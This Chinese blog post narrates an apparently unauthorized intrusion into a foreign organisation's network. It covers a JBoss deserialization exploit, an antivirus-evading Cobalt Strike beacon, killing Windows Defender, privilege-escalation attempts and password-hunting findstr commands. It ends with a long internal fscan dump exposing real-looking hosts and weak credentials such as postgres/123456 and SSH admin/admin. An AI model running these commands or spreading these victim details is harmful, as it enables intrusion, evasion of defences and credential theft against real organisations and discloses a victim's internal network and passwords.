记一次内网横向免杀测试

￡神魔★判官ぃ 2024-03-27 17:43 123阅读 0赞

## 工具准备 ##

[jexboss][]

Kali Linux

CS 4.3

[Windows杀软在线查询一][Windows]

[Windows杀软在线查询二][Windows 1]

[Windows杀软在线查询三][Windows 2]

[fscan][]

[潮汐shellcode免杀][shellcode]

[LSTAR][]

[CobaltStrike其他插件][CobaltStrike]

[PEASS-ng][]

[PrintSpoofer][]

## 外网打点 ##

1、为了练习内网横向，悄悄的盯上国外的站点

2、发现jboss网站存在反序列化漏洞，是呀jexboss无法利用成功

python jexboss.py -u https://xx.xx.xx/

3、使用工具`java反序列化终极测试工具 by 6哥`成功利用

![deae5045b81638e10bf4e6fd960029f8.jpeg][]

4、查看当前用户`whoami`，普通用户

![972ddcd960386b4be04bfd2b4fdc44a7.jpeg][]

5、查看IP地址`ipconfig`

![0761c7fdc2da066bbd846cce641f4116.png][]

6、查看是否有杀软`tasklist /svc`

![6b2ef225ce116e7c6918fb60e4444eeb.jpeg][]

7、将查询的内容粘贴到Windows杀软在线查询，发现存在杀软

![7ab02bd0fc8edfa7249e1f558ae07ba8.png][]

8、查看服务器是否出网`ping www.baidu.com`，很不错，服务器出网

![3ccb090b6519881d6e2c4179d0f023e4.jpeg][]

## CS上线 ##

1、因为有杀软，我们要考虑绕过，直接上传CS木马肯定是不行的，本次绕过的是潮汐shellcode免杀，因为很多github上利用python打包的exe文件太大，上传很慢，而潮汐shellcode免杀文件较小，上传快。

2、CS先生成c语言的shellcode

![294ee400b0e9be485cbe62beab71444f.jpeg][]

3、将shellcode内容复制到潮汐网站上，生成的exe上传到目标机器，然后执行命令

C:\\usr\\desarrollo\\jboss-5.1.0.GA\\server\\sigAmeServer\\deploy\\ROOT.war\\TideAv-Go1-2023-02-04-10-31-21-221261.exe tide

![17f745856916743dd81d2eb62db84c54.jpeg][]

4、CS成功上线

![8758e2071297487b0398351734dda627.jpeg][]

## 权限提升 ##

#### 信息收集 ####

1、查看当前用户及特权

whoami
    whoami /priv

![050eafa9f5a42d71cd49b8411af614ab.jpeg][]

2、查看系统版本及补丁信息

systeminfo

![b4df6ffae11dea140436fcfdc5188fc6.jpeg][]

Nombre de host:                            AMEPROWEBEGAD
    Nombre del sistema operativo:              Microsoft Windows 10 Pro
    Versi¢n del sistema operativo:             10.0.19044 N/D Compilaci¢n 19044
    Fabricante del sistema operativo:          Microsoft Corporation
    Configuraci¢n del sistema operativo:       Estaci¢n de trabajo miembro
    Tipo de compilaci¢n del sistema operativo: Multiprocessor Free
    Propiedad de:                              appzusr
    Organizaci¢n registrada:                   
    Id. del producto:                          00331-10000-00001-AA727
    Fecha de instalaci¢n original:             13/5/2022, 14:03:47
    Tiempo de arranque del sistema:            1/2/2023, 16:50:29
    Fabricante del sistema:                    VMware, Inc.
    Modelo el sistema:                         VMware Virtual Platform
    Tipo de sistema:                           x64-based PC
    Procesador(es):                            2 Procesadores instalados.
                                               [01]: Intel64 Family 6 Model 85 Stepping 7 GenuineIntel ~2494 Mhz
                                               [02]: Intel64 Family 6 Model 85 Stepping 7 GenuineIntel ~2494 Mhz
    Versi¢n del BIOS:                          Phoenix Technologies LTD 6.00, 12/11/2020
    Directorio de Windows:                     C:\Windows
    Directorio de sistema:                     C:\Windows\system32
    Dispositivo de arranque:                   \Device\HarddiskVolume1
    Configuraci¢n regional del sistema:        ezs-mx;Espa¤ol (M‚xico)
    Idioma de entrada:                         es-mx;Espa¤ol (M‚xico)
    Zona horaria:                              (UTC-06:00) Guadalajara, Ciudad de M‚xico, Monterrey
    Cantidad total de memoria f¡sica:          4.095 MB
    Memoria f¡sica disponible:                 1.201 MB
    Memoria virtual: tama¤o m ximo:            4.799 MB
    Memoria virtual: disponible:               1.147 MB
    Memoria virtual: en uso:                   3.652 MB
    Ubicaci¢n(es) de archivo de paginaci¢n:    C:\pagefile.sys
    Dominio:                                   ame.local
    Servidor de inicio de sesi¢n:              \\AMEPROWEBEGAD
    Revisi¢n(es):                              4 revisi¢n(es) instaladas.
                                               [01]: KB5004331
                                               [02]: KB5003791
                                               [03]: KB5006670
                                               [04]: KB5005699
    Tarjeta(s) de red:                         1 Tarjetas de interfaz de red instaladas.
     z                                          [01]: Intel(R) PRO/1000 MT Network Connection
                                                     Nombre de conexi¢n: Ethernet0
                                                     DHCP habilitado:    No
                                                     Direcciones IP
                                                     [01]: 172.16.2.100
                                                     [02]: fe80::591:ae09:eee1:888e
    Requisitos Hyper-V:                        Se detect¢ un hipervisor. No se mostrar n las caracter¡sticas necesarias para Hyper-V.

3、查看开放的端口服务`netstat -ano`

Conexiones activas
    
      Proto  Direcci¢n local          Direcci¢n remota        Estado           PID
      TCP    0.0.0.0:135            0.0.0.0:0              LISTENING       600
      TCP    0.0.0.0:445            0.0.0.0:0              LISTENING       4
      TCP    0.0.0.0:1090           0.0.0.0:0              LISTENING       7600
      TCP    0.0.0.0:1098           0.0.0.0:0              LISTENING       7600
      TCP z   0.0.0.0:1099           0.0.0.0:0              LISTENING       7600
      TCP    0.0.0.0:3389           0.0.0.0:0              LISTENING       1072
      TCP    0.0.0.0:3873           0.0.0.0:0              LISTENING       7600
      TCP    0.0.0.0:4444           0.0.0.0:0              LISTENING       7600
      TCP    0.0.0.0:4445           0.0.0.0:0              LISTENING       7600
      TCP    0.0.0.0:4446           0.0.0.0:0              LISTENING       7600
      TCP    0.0.0.0:4457           0.0.0.0:0              LISTENING       7600
      TCP    0.0.0.0:4712           0.0.0.0:0              LISTENING       7600
      TCP    0.0.0.0:4713           0.0.0.0:0              LISTENING       7600
      TCP    0.0.0.0:5040           0.0.0.0:0              LISTENING       6652
      TCP    0.0.0.0:5985           0.0.0.0:0              LISTENING       4
      TCP    0.0.0.0:7070           0.0.0.0:0              LISTENING       3564
      TCP    0.0.0.0:8009           0.0.0.0:0              LISTENING       7600
      TCP    0.0.0.0:8080           0.0.0.0:0    z          LISTENING       7600
      TCP    0.0.0.0:8083           0.0.0.0:0              LISTENING       7600
      TCP    0.0.0.0:46305          0.0.0.0:0              LISTENING       7600
      TCP    0.0.0.0:47001          0.0.0.0:0              LISTENING       4
      TCP    0.0.0.0:49664          0.0.0.0:0              LISTENING       832
      TCP    0.0.0.0:49665          0.0.0.0:0              LISTENING       680
      TCP    0.0.0.0:49666          0.0.0.0:0              LISTENING       1416
      TCP    0.0.0.0:49667          0.0.0.0:0              LISTENING       1612
      TCP    0.0.0.0:49668          0.0.0.0:0              LISTENING       2452
      TCP    0.0.0.0:49671          0.0.0.0:0              LISTENING       832
      TCP    0.0.0.0:49672          0.0.0.0:0              LISTENING       3404
      TCP    0.0.0.0:49704          0.0.0.0:0              LISTENING       820
      TCP    0.0.0.0:49708          0.0.0.0:0              LISTENING       3048
      TCP    0.0.0.0:51407          0.0.0.0:0              LISTENING       7600
      TCP    127z.0.0.1:5140         0.0.0.0:0              LISTENING       7172
      TCP    127.0.0.1:51411        0.0.0.0:0              LISTENING       7600
      TCP    172.16.2.100:139       0.0.0.0:0              LISTENING       4
      TCP    172.16.2.100:8080      172.16.12.34:42602     TIME_WAIT       0
      TCP    172.16.2.100:8080      172.16.12.34:42610     ESTABLISHED     7600
      TCP    172.16.2.100:8080      172.16.12.34:55672     TIME_WAIT       0
      TCP    172.16.2.100:8080      172.16.12.34:55686     TIME_WAIT       0
      TCP    172.16.2.100:49717     38.90.226.62:8883      ESTABLISHED     3576
      TCP    172.16.2.100:50848     172.16.2.100:51407     TIME_WAIT       0
      TCP    172.16.2.100:51413     172.16.2.190:1433      ESTABLISHED     7600
      TCP    172.16.2.100:51447     172.16.2.190:1433      ESTABLISHED     7600
      TCP    172.16.2.100:56063     172.16.2.11:2222       ESTABLISHED     3576
      TCP    172.16.2.100:56538     92.223.66.48:443       ESTABLISHED     3564
      TCP    [::]:135               [::]:0                 LISTENINzG       600
      TCP    [::]:445               [::]:0                 LISTENING       4
      TCP    [::]:1090              [::]:0                 LISTENING       7600
      TCP    [::]:1098              [::]:0                 LISTENING       7600
      TCP    [::]:1099              [::]:0                 LISTENING       7600
      TCP    [::]:3389              [::]:0                 LISTENING       1072
      TCP    [::]:3873              [::]:0                 LISTENING       7600
      TCP    [::]:4444              [::]:0                 LISTENING       7600
      TCP    [::]:4445              [::]:0                 LISTENING       7600
      TCP    [::]:4446              [::]:0                 LISTENING       7600
      TCP    [::]:4457              [::]:0                 LISTENING       7600
      TCP    [::]:4712              [::]:0                 LISTENING       7600
      TCP    [::]:4713              [::]:0                 LISTENING       7600
      TCP    [::]:5985              [::]:0                 LISTENING       4
      TCP    [::]:8009            z  [::]:0                 LISTENING       7600
      TCP    [::]:8080              [::]:0                 LISTENING       7600
      TCP    [::]:8083              [::]:0                 LISTENING       7600
      TCP    [::]:46305             [::]:0                 LISTENING       7600
      TCP    [::]:47001             [::]:0                 LISTENING       4
      TCP    [::]:49664             [::]:0                 LISTENING       832
      TCP    [::]:49665             [::]:0                 LISTENING       680
      TCP    [::]:49666             [::]:0                 LISTENING       1416
      TCP    [::]:49667             [::]:0                 LISTENING       1612
      TCP    [::]:49668             [::]:0                 LISTENING       2452
      TCP    [::]:49671             [::]:0                 LISTENING       832
      TCP    [::]:49672             [::]:0                 LISTENING       3404
      TCP    [::]:49704             [::]:0                 LISTENING       820
      TCP    [::]:49708             [::]:0                 LISTENING       30z48
      TCP    [::]:51407             [::]:0                 LISTENING       7600
      UDP    0.0.0.0:123            *:*                                    1268
      UDP    0.0.0.0:500            *:*                                    3040
      UDP    0.0.0.0:3389           *:*                                    1072
      UDP    0.0.0.0:4500           *:*                                    3040
      UDP    0.0.0.0:5050           *:*                                    6652
      UDP    0.0.0.0:5353           *:*                                    1432
      UDP    0.0.0.0:5355           *:*                                    1432
      UDP    0.0.0.0:50001          *:*                                    3564
      UDP    0.0.0.0:50007          *:*                                    1240
      UDP    0.0.0.0:56152          *:*                                    1240
      UDP    0.0.0.0:61593          *:*                                    1240
      UDP    0.0.0.0:64843          *:*                                    1240
      UDP    127.0.0.1:1900         *z:*                                    2876
      UDP    127.0.0.1:50434        *:*                                    832
      UDP    127.0.0.1:55588        *:*                                    2876
      UDP    127.0.0.1:65220        *:*                                    1868
      UDP    127.0.0.1:65222        *:*                                    2360
      UDP    172.16.2.100:137       *:*                                    4
      UDP    172.16.2.100:138       *:*                                    4
      UDP    172.16.2.100:1900      *:*                                    2876
      UDP    172.16.2.100:55587     *:*                                    2876
      UDP    [::]:123               *:*                                    1268
      UDP    [::]:500               *:*                                    3040
      UDP    [::]:3389              *:*                                    1072
      UDP    [::]:4500              *:*                                    3040
      UDP    [::]:5353              *:*                                    1432
    z  UDP    [::]:5355              *:*                                    1432
      UDP    [::1]:1900             *:*                                    2876
      UDP    [::1]:55586            *:*                                    2876
      UDP    [fe80::591:ae09:eee1:888e%13]:1900  *:*                                    2876
      UDP    [fe80::591:ae09:eee1:888e%13]:55585  *:*                                    2876

4、查看网卡信息`shell ipconfig /all`

Configuración IP de Windows
    
       Nombre de host. . . . . . . . . : AMEPROWEBEGAD
       Sufijo DNS principal  . . . . . : ame.local
       Tipo de nodo. . . . . . . . . . : híbrido
       Enrutamiento IP habilitado. . . : no
       Proxy WINS habilitado . . . . . : no
       Lista de búsqueda de sufijos DNS: ame.local
    
    Adaptador de Ethernet Ethernet0:
    
       Sufijo DNS específico para la conexión. . : 
       Descripción . . . . . . . . . . . . . . . : Intel(R) PRO/1000 MT Network Connection
       Dirección física. . . . . . . . . . . . . : 00-50-56-B2-9D-FE
       DHCP habilitado . . . . . . . . . . . . . : no
       Configuración automática habilitada . . . : sí
       Vínculo: dirección IPv6 local. . . : fe80::591:ae09:eee1:888e%13(Preferido) 
       Dirección IPv4. . . . . . . . . . . . . . : 172.16.2.100(Preferido) 
       Máscara de subred . . . . . . . . . . . . : 255.255.255.0
       Puerta de enlace predeterminada . . . . . : 172.16.2.254
       IAID DHCPv6 . . . . . . . . . . . . . . . : 100683862
       DUID de cliente DHCPv6. . . . . . . . . . : 00-01-00-01-2A-10-71-A7-00-50-56-B2-9D-FE
       Servidores DNS. . . . . . . . . . . . . . : 172.16.2.20
                                           10.0.0.1
       NetBIOS sobre TCP/IP. . . . . . . . . . . : habilitado

![47eca386a4004b7123430ac5e28815fd.jpeg][]

5、路由表信息`shell arp -a`

Interfaz: 172.16.2.100 --- 0xd
      Dirección de Internet          Dirección física      Tipo
      172.16.2.11           00-50-56-b2-ac-66     dinámico  
      172.16.2.20           00-50-56-b2-d2-30     dinámico  
      172.16.2.150          00-90-a9-d6-91-01     dinámico  
      172.16.2.190          00-50-56-b2-99-b0     dinámico  
      172.16.2.254          00-00-5e-00-01-02     dinámico  
      172.16.2.255          ff-ff-ff-ff-ff-ff     estático  
      224.0.0.22            01-00-5e-00-00-16     estático  
      224.0.0.251           01-00-5e-00-00-fb     estático  
      224.0.0.252           01-00-5e-00-00-fc     estático  
      239.255.255.250       01-00-5e-7f-ff-fa     estático

![2aef5f686db469b5835f3dcbdc97f7ef.jpeg][]

6、是否存在域环境`shell systeminfo`，确实存在域环境

![1f6ad870185c961a1fab53023d57c619.jpeg][]

#### CS自带插件提权 ####

1、首先使用CS自带插件提权，无法提权成功，且提权后，CS就失去主机控制，应该是提权进程被杀软发现(包括第三方提权插件都不行)。

![4663b449dc4124ce0bd411b95d369c77.jpeg][]

#### 结束杀软进程 ####

1、我们来尝试一下是否可以关闭杀软，通过上面信息知道杀软进程名`MsMpEng.exe`，通过进程对比可以发现，杀软已经被我们关闭了。

tskill MsMpEng
    tasklist /svc

![75298dc0d99619dfbdc0dad674003910.png][]

#### Windows-Exploit-Suggester ####

1、安装更新脚本

python2 -m pip install --user xlrd==1.1.0
    python2 windows-exploit-suggester.py --update

2、将上面收集的systeminfo内容复制到`systeminfo.txt`，查找对应的漏洞

python2 ./windows-exploit-suggester.py --database 2023-02-06-mssb.xls --systeminfo systeminfo.txt

![2157353e243fdcac624aacf25e96db62.jpeg][]

3、将查找的exp上传测试提权，发现都不成功。

#### PEASS-ng ####

1、上传到目标机器，无法执行，被杀软发现了，虽然已经关闭杀软进程，但是过一会，杀软自启动

winPEASany.exe log=result.txt

![ca456e2a7a43a64951bff5469ee4812d.jpeg][]

#### 查看SAM密码文件 ####

1、SAM密码文件位置

system文件位置:C:\Windows\System32\config\SYSTEM
    sam文件位置:C:\Windows\System32\config\SAM

2、由于不是管理员账号，无法查看

![24052f45c54d45e69af1b0acbd9a3b65.jpeg][]

#### windows敏感文件 ####

1、查看最近打开的文档

dir %APPDATA%\Microsoft\Windows\Recent

2、递归搜索后面文件的password字段

findstr /si password  config.*  *.ini *.txt *.properties

3、递归查找当前目录包含conf的文件

dir /a /s /b "*conf*" > 1.txt

4、递归查找目录下的txt中的password字段

findstr /s /i /c:"Password" 目录\*.txt

5、递归查找目录下的敏感文件输出到桌面123.txt中

for /r 目录 %i in (account.docx,pwd.docx,login.docx,login*.xls) do @echo  %i >> C:\tmp\123.txt

6、指定目录搜索各类敏感文件

dir /a /s /b d:\"*.txt"
    dir /a /s /b d:\"*.xml"
    dir /a /s /b d:\"*.mdb"
    dir /a /s /b d:\"*.sql"
    dir /a /s /b d:\"*.mdf"
    dir /a /s /b d:\"*.eml"
    dir /a /s /b d:\"*.pst"
    dir /a /s /b d:\"*conf*"
    dir /a /s /b d:\"*bak*"
    dir /a /s /b d:\"*pwd*"
    dir /a /s /b d:\"*pass*"
    dir /a /s /b d:\"*login*"
    dir /a /s /b d:\"*user*"

7、收集各类账号密码信息

findstr /si pass *.inc *.config *.ini *.txt *.asp *.aspx *.php *.jsp *.xml *.cgi *.bak
    findstr /si userpwd *.inc *.config *.ini *.txt *.asp *.aspx *.php *.jsp *.xml *.cgi *.bak
    findstr /si pwd *.inc *.config *.ini *.txt *.asp *.aspx *.php *.jsp *.xml *.cgi *.bak
    findstr /si login *.inc *.config *.ini *.txt *.asp *.aspx *.php *.jsp *.xml *.cgi *.bak
    findstr /si user *.inc *.config *.ini *.txt *.asp *.aspx *.php *.jsp *.xml *.cgi *.bak

#### PrintSpoofer提权 ####

1、执行命令`PrintSpoofer.exe -i -c cmd`无法提权

PrintSpoofer.exe -i -c cmd

![2a05fc5c2c97b140336c8bb9c93fa09d.jpeg][]

## 横向渗透 ##

#### fscan扫描 ####

1、上传fscan，执行`shell "C:/Users/appusr/fscan64.exe" -h 172.16.2.1/24`，发现存活35个IP，扫出很多网站

(icmp) Target 172.16.2.5      is alive
    (icmp) Target 172.16.2.9      is alive
    (icmp) Target 172.16.2.11     is alive
    (icmp) Target 172.16.2.20     is alive
    (icmp) Target 172.16.2.37     is alive
    (icmp) Target 172.16.2.38     is alive
    (icmp) Target 172.16.2.45     is alive
    (icmp) Target 172.16.2.46     is alive
    (icmp) Target 172.16.2.47     is alive
    (icmp) Target 172.16.2.32     is alive
    (icmp) Target 172.16.2.33     is alive
    (icmp) Target 172.16.2.31     is alive
    (icmp) Target 172.16.2.60     is alive
    (icmp) Target 172.16.2.70     is alive
    (icmp) Target 172.16.2.72     is alive
    (icmp) Target 172.16.2.80     is alive
    (icmp) Target 172.16.2.81     is alive
    (icmp) Target 172.16.2.86     is alive
    (icmp) Target 172.16.2.84     is alive
    (icmp) Target 172.16.2.85     is alive
    (icmp) Target 172.16.2.82     is alive
    (icmp) Target 172.16.2.100    is alive
    (icmp) Target 172.16.2.111    is alive
    (icmp) Target 172.16.2.117    is alive
    (icmp) Target 172.16.2.120    is alive
    (icmp) Target 172.16.2.83     is alive
    (icmp) Target 172.16.2.138    is alive
    (icmp) Target 172.16.2.146    is alive
    (icmp) Target 172.16.2.150    is alive
    (icmp) Target 172.16.2.170    is alive
    (icmp) Target 172.16.2.190    is alive
    (icmp) Target 172.16.2.195    is alive
    (icmp) Target 172.16.2.200    is alive
    (icmp) Target 172.16.2.87     is alive
    (icmp) Target 172.16.2.254    is alive
    [*] Icmp alive hosts len is: 35
    172.16.2.38:22 open
    172.16.2.120:21 open
    172.16.2.20:22 open
    172.16.2.37:22 open
    172.16.2.150:21 open
    172.16.2.117:22 open
    172.16.2.82:22 open
    172.16.2.111:22 open
    172.16.2.81:22 open
    172.16.2.72:22 open
    172.16.2.70:22 open
    172.16.2.45:21 open
    172.16.2.60:22 open
    172.16.2.37:80 open
    172.16.2.11:80 open
    172.16.2.200:22 open
    172.16.2.83:22 open
    172.16.2.150:22 open
    172.16.2.170:22 open
    172.16.2.146:22 open
    172.16.2.138:22 open
    172.16.2.120:80 open
    172.16.2.84:80 open
    172.16.2.81:80 open
    172.16.2.85:80 open
    172.16.2.86:80 open
    172.16.2.70:80 open
    172.16.2.60:80 open
    172.16.2.87:22 open
    172.16.2.11:135 open
    172.16.2.20:135 open
    172.16.2.5:135 open
    172.16.2.83:80 open
    172.16.2.200:80 open
    172.16.2.170:80 open
    172.16.2.82:80 open
    172.16.2.117:80 open
    172.16.2.11:139 open
    172.16.2.20:139 open
    172.16.2.9:139 open
    172.16.2.5:139 open
    172.16.2.195:135 open
    172.16.2.190:135 open
    172.16.2.100:135 open
    172.16.2.84:135 open
    172.16.2.195:139 open
    172.16.2.190:139 open
    172.16.2.170:139 open
    172.16.2.150:139 open
    172.16.2.120:139 open
    172.16.2.100:139 open
    172.16.2.84:139 open
    172.16.2.60:139 open
    172.16.2.84:443 open
    172.16.2.85:443 open
    172.16.2.86:443 open
    172.16.2.80:443 open
    172.16.2.72:443 open
    172.16.2.70:443 open
    172.16.2.60:443 open
    172.16.2.11:443 open
    172.16.2.87:443 open
    172.16.2.9:445 open
    172.16.2.5:445 open
    172.16.2.170:443 open
    172.16.2.83:443 open
    172.16.2.120:443 open
    172.16.2.82:443 open
    172.16.2.81:443 open
    172.16.2.170:445 open
    172.16.2.150:445 open
    172.16.2.120:445 open
    172.16.2.100:445 open
    172.16.2.84:445 open
    172.16.2.60:445 open
    172.16.2.20:445 open
    172.16.2.11:445 open
    172.16.2.5:5432 open
    172.16.2.138:3306 open
    172.16.2.38:3306 open
    172.16.2.195:1433 open
    172.16.2.190:1433 open
    172.16.2.11:1433 open
    172.16.2.195:445 open
    172.16.2.190:445 open
    172.16.2.100:8080 open
    172.16.2.45:8080 open
    172.16.2.9:135 open
    172.16.2.86:8000 open
    172.16.2.80:80 open
    172.16.2.200:5432 open
    172.16.2.111:5432 open
    172.16.2.120:8080 open
    172.16.2.150:9000 open
    172.16.2.9:5432 open
    172.16.2.85:8000 open
    
    [+] received output:
    172.16.2.20:88 open
    
    [+] received output:
    172.16.2.100:1099 open
    172.16.2.80:2020 open
    172.16.2.11:3128 open
    172.16.2.120:3128 open
    
    [+] received output:
    172.16.2.11:7070 open
    172.16.2.70:7070 open
    172.16.2.100:7070 open
    172.16.2.84:7070 open
    172.16.2.100:8009 open
    
    [+] received output:
    172.16.2.120:8081 open
    172.16.2.100:8083 open
    172.16.2.80:8084 open
    
    [+] received output:
    172.16.2.72:8200 open
    172.16.2.86:8300 open
    172.16.2.85:8300 open
    172.16.2.20:8443 open
    
    [+] received output:
    172.16.2.86:9080 open
    172.16.2.85:9080 open
    172.16.2.80:9084 open
    172.16.2.80:9087 open
    
    [+] received output:
    172.16.2.150:9443 open
    172.16.2.84:10001 open
    172.16.2.84:10002 open
    
    [+] received output:
    [*] alive ports len is: 120
    start vulscan
    [*] NetInfo:
    [*]172.16.2.100
       [->]AMEPROWEBEGAD
       [->]172.16.2.100
    [*] NetInfo:
    [*]172.16.2.84
       [->]ame-ro-nas
       [->]172.16.2.84
    [*] NetInfo:
    [*]172.16.2.5
       [->]db_ame
       [->]172.16.2.5
    [*] NetInfo:
    [*]172.16.2.9
       [->]backu
       [->]172.16.2.9
    [*] NetInfo:
    [*]172.16.2.11
       [->]Srv-Ant-Kas1
       [->]172.16.2.11
    [*] WebTitle: https://172.16.2.11       code:200 len:102    title:None
    [*] 172.16.2.9  (Windows Server 2003 3790 Service Pack 2)
    [*] WebTitle: http://172.16.2.117       code:200 len:10918  title:Apache2 Ubuntu Default Page: It works
    [*] NetBios: 172.16.2.190    AMEPRODBSIG01.ame.local             Windows Server 2016 Standard 14393 
    [*] NetBios: 172.16.2.11     Srv-Ant-Kas1.ame.local              Windows Server 2012 Standard 9200 
    [*] NetBios: 172.16.2.9      backup.ame.local                    Windows Server 2003 3790 Service Pack 2 
    [*] WebTitle: https://172.16.2.82       code:302 len:222    title:302 Found ÞÀ│Þ¢¼url: https://172.16.2.82/restgui/start.html
    [*] WebTitle: http://172.16.2.120:3128  code:400 len:3157   title:ERROR: The requested URL could not be retrieved
    [*] WebTitle: http://172.16.2.200       code:403 len:4897   title:Apache HTTP Server Test Page powered by CentOS
    [*] WebTitle: http://172.16.2.84        code:401 len:0      title:None
    [*] WebTitle: https://172.16.2.87       code:200 len:83     title:None
    [+] Postgres:172.16.2.200:5432:postgres 123456
    [*] WebTitle: http://172.16.2.80        code:301 len:0      title:None ÞÀ│Þ¢¼url: https://172.16.2.80:443/
    [*] WebTitle: http://172.16.2.82        code:302 len:208    title:302 Found ÞÀ│Þ¢¼url: https://172.16.2.82:443/
    [*] 172.16.2.100  (Windows 10 Pro 19044)
    [*] WebTitle: http://172.16.2.11        code:302 len:0      title:None ÞÀ│Þ¢¼url: https://172.16.2.11/
    [*] WebTitle: http://172.16.2.83        code:302 len:208    title:302 Found ÞÀ│Þ¢¼url: https://172.16.2.83:443/
    [*] WebTitle: http://172.16.2.86        code:301 len:56     title:None ÞÀ│Þ¢¼url: https://172.16.2.86/
    [*] WebTitle: http://172.16.2.81        code:302 len:208    title:302 Found ÞÀ│Þ¢¼url: https://172.16.2.81:443/
    [*] WebTitle: http://172.16.2.100:8083  code:404 len:0      title:None
    [*] NetBios: 172.16.2.195    AMEPRODBSIG01P.ame.local            Windows Server 2016 Standard 14393 
    [*] WebTitle: http://172.16.2.11:3128   code:404 len:196    title:404 Not Found
    [*] WebTitle: https://172.16.2.83       code:302 len:222    title:302 Found ÞÀ│Þ¢¼url: https://172.16.2.83/restgui/start.html
    [*] WebTitle: https://172.16.2.86       code:200 len:258    title:None
    [*] WebTitle: https://172.16.2.70       code:200 len:4149   title:Management
    [*] WebTitle: http://172.16.2.150:9000  code:200 len:3509   title:Twonky Server
    [*] WebTitle: https://172.16.2.85       code:200 len:258    title:None
    [*] WebTitle: http://172.16.2.70        code:302 len:265    title:302 Found ÞÀ│Þ¢¼url: https://172.16.2.70/
    [*] WebTitle: https://172.16.2.20:8443  code:302 len:83     title:None ÞÀ│Þ¢¼url: https://172.16.2.20:8443/Login/Index
    [*] WebTitle: https://172.16.2.72       code:301 len:84     title:None ÞÀ│Þ¢¼url: https://172.16.2.72/appwall-webui
    [*] WebTitle: https://172.16.2.80       code:200 len:3618   title:" + ID_VC_Welcome + "
    [*] WebTitle: https://172.16.2.81       code:302 len:222    title:302 Found ÞÀ│Þ¢¼url: https://172.16.2.81/restgui/start.html
    [*] WebTitle: http://172.16.2.120       code:200 len:553    title:None
    [*] WebTitle: http://172.16.2.37        code:302 len:0      title:None ÞÀ│Þ¢¼url: http://172.16.2.37/app_Login
    [*] WebTitle: https://172.16.2.80:8084  code:501 len:0      title:None
    [*] NetBios: 172.16.2.170    AME\SYNOLOGYAME                
    [*] WebTitle: https://172.16.2.86:9080  code:202 len:0      title:None
    [*] WebTitle: https://172.16.2.120      code:200 len:553    title:None
    [*] WebTitle: https://172.16.2.120:8081 code:403 len:266    title:403 Forbidden
    [*] WebTitle: https://172.16.2.80:9087  code:404 len:103    title:None
    [*] WebTitle: http://172.16.2.80:9084   code:404 len:103    title:None
    [*] WebTitle: http://172.16.2.45:8080   code:303 len:0      title:None ÞÀ│Þ¢¼url: http://172.16.2.45:8080/home.htm
    [*] WebTitle: https://172.16.2.60       code:200 len:6391   title:None
    [*] WebTitle: http://172.16.2.60        code:200 len:6391   title:None
    [*] WebTitle: http://172.16.2.120:8080  code:403 len:266    title:403 Forbidden
    [+] 172.16.2.5  MS17-010    (Windows Server 2003 3790 Service Pack 2)
    [*] WebTitle: http://172.16.2.170       code:200 len:543    title:None
    [*] 172.16.2.84  (Windows Storage Server 2016 Standard 14393)
    [*] WebTitle: http://172.16.2.85        code:301 len:56     title:None ÞÀ│Þ¢¼url: https://172.16.2.85/
    [*] 172.16.2.120  (Unix)
    [*] 172.16.2.150  (Windows 6.1)
    [*] 172.16.2.60  (Windows 6.1)
    [*] NetBios: 172.16.2.120    NVR\NVRAME                          Unix 
    [*] NetBios: 172.16.2.84     ame-pro-nas.ame.local               Windows Storage Server 2016 Standard 14393 
    [*] NetBios: 172.16.2.60     AME\nas-60                          Windows 6.1 
    [*] WebTitle: https://172.16.2.170      code:200 len:543    title:None
    
    [+] received output:
    [*] WebTitle: https://172.16.2.85/      code:200 len:258    title:None
    [*] WebTitle: https://172.16.2.86/      code:200 len:258    title:None
    [*] WebTitle: https://172.16.2.11/      code:200 len:102    title:None
    [*] WebTitle: https://172.16.2.80:443/  code:200 len:3618   title:" + ID_VC_Welcome + "
    [*] WebTitle: https://172.16.2.70/      code:200 len:4149   title:Management
    [*] WebTitle: https://172.16.2.20:8443/Login/Index code:200 len:2839   title:Zentyal
    [*] WebTitle: https://172.16.2.85:9080  code:202 len:0      title:None
    [*] WebTitle: http://172.16.2.70:7070   code:404 len:201    title:None
    [*] WebTitle: https://172.16.2.81/restgui/start.html code:200 len:2458   title:None
    [+] InfoScan:https://172.16.2.80       [VMware vSphere] 
    [*] WebTitle: https://172.16.2.83/restgui/start.html code:200 len:2458   title:None
    [*] WebTitle: https://172.16.2.82/restgui/start.html code:200 len:2458   title:None
    [*] WebTitle: http://172.16.2.72:8200   code:301 len:0      title:None ÞÀ│Þ¢¼url: http://172.16.2.72:8200/Console/
    [*] WebTitle: http://172.16.2.72:8200/Console/ code:404 len:0      title:None
    [*] WebTitle: https://172.16.2.82/restgui/start.html code:200 len:2458   title:None
    [*] NetBios: 172.16.2.150    wdmycloud                           Windows 6.1 
    [+] InfoScan:https://172.16.2.80:443/  [VMware vSphere] 
    [*] WebTitle: https://172.16.2.72/appwall-webui/ code:200 len:4366   title:Radware Security Console
    [*] WebTitle: http://172.16.2.45:8080/logon.htm code:200 len:2872   title:APC | Log On
    [*] WebTitle: https://172.16.2.81/restgui/start.html code:200 len:2458   title:None
    [*] WebTitle: http://172.16.2.37/app_Login/ code:200 len:860    title:None
    
    [+] received output:
    ÕÀ▓Õ«îµêÉ 65/121 [-] ftp://172.16.2.45:21 wwwroot 123456!a 421 Service not available, closing control connection.
    
    [+] received output:
    ÕÀ▓Õ«îµêÉ 109/121 [-] ssh 172.16.2.87:22 root a123456 ssh: handshake failed: ssh: unable to authenticate, attempted methods [none password], no supported methods remain
    
    [+] received output:
    [+] SSH:172.16.2.87:22:admin admin
    
    [+] received output:
    ÕÀ▓Õ«îµêÉ 110/121 [-] ssh 172.16.2.70:22 admin test ssh: handshake failed: ssh: unable to authenticate, attempted methods [none password], no supported methods remain
    
    [+] received output:
    ÕÀ▓Õ«îµêÉ 110/121 [-] ssh 172.16.2.150:22 admin a123456. ssh: handshake failed: ssh: unable to authenticate, attempted methods [none password], no supported methods remain
    
    [+] received output:
    ÕÀ▓Õ«îµêÉ 113/121 [-] ssh 172.16.2.38:22 admin abc123 ssh: handshake failed: ssh: unable to authenticate, attempted methods [none password], no supported methods remain
    
    [+] received output:
    ÕÀ▓Õ«îµêÉ 114/121 [-] ssh 172.16.2.117:22 admin 2wsx@WSX ssh: handshake failed: ssh: unable to authenticate, attempted methods [none password], no supported methods remain
    
    [+] received output:
    ÕÀ▓Õ«îµêÉ 120/121 [-] ftp://172.16.2.150:21 wwwroot 1 Permission denied.
    
    [+] received output:
    ÕÀ▓Õ«îµêÉ 120/121 [-] ftp://172.16.2.150:21 data 123456 Permission denied.
    
